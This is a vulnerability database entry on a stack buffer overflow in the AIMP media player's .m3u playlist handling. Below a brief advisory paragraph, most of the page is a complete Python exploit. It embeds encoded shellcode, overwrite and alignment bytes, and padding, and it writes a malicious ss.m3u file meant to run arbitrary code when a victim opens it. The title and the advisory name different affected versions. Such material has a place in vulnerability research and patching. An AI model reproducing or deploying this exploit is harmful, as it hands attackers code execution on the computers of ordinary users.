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AIMP <= 2.8.3 '.m3u' File Remote Stack Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
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AIMP Remote Stack Buffer Overflow Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/38215/info

AIMP is prone to a remote stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

AIMP 2.51 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
#
# AIMP2 (aimp2c.exe) m3u malformed open file stack overflow exploit
# Coded by :  Molotov
#
# Greats To : Corelanc0d3r & exploit-db
#
# thanks to : Simo36 & all friends
#
shellcode = (
&#34;PPYAIAIAIAIAQATAXAZAPA3QADAZABARA&#34;
&#34;LAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZA&#34;
&#34;BABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB&#34;
&#34;KLK8U9M0M0KPS0U99UNQ8RS44KPR004K22LLDKR2MD4KCBMX&#34;
&#34;LOGG0JO6NQKOP1WPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7&#34;
&#34;TK0RLPTK12OLM1Z04KOPBX55Y0D4OZKQXP0P4KOXMHTKR8MP&#34;
&#34;KQJ3ISOL19TKNTTKM18VNQKONQ90FLGQ8OLMKQY7NXK0T5L4&#34;
&#34;M33MKHOKSMND45JBR84K0XMTKQHSBFTKLL0KTK28MLM18S4K&#34;
&#34;KT4KKQXPSYOTNDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM&#34;
&#34;2JKQTMSU89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU&#34;
&#34;7MEMKOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC&#34;
&#34;QQ2LRCM0LJA&#34;
)
header = &#34;[playlist]\nNumberOfEntries=3\n\n&#34;
header += (&#34;File1=&#34;);
crash = &#39;A&#39; * 2222
crash+= shellcode
crash+= &#39;B&#39; * (4014-len(shellcode)-2222)
crash+= &#39;\x41\x6d&#39;
crash+= &#39;\x0e\x45&#39;
align = &#39;\x58\x6d&#39;
align+= &#39;\x58\x6d&#39;
align+= &#39;\x58\x6d&#39;
align+= &#39;\x58\x6d&#39;
align+= &#39;\x05\x01\x11\x6d&#39;
align+= &#39;\x2d\x0F\x11\x6d&#39;
align+= &#39;\x50\x6d\xC3&#39;
padd  = &#39;D&#39; * 3000
 
padd= &#39;D&#39;*3000#n7Cn
buffer = header + crash +align+padd +&#39;\n&#39;
file=open(&#39;ss.m3u&#39;,&#39;w&#39;)
file.write(buffer)
file.close()
print &#34;[+] ss.m3u file created successfully&#34;

                              

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
22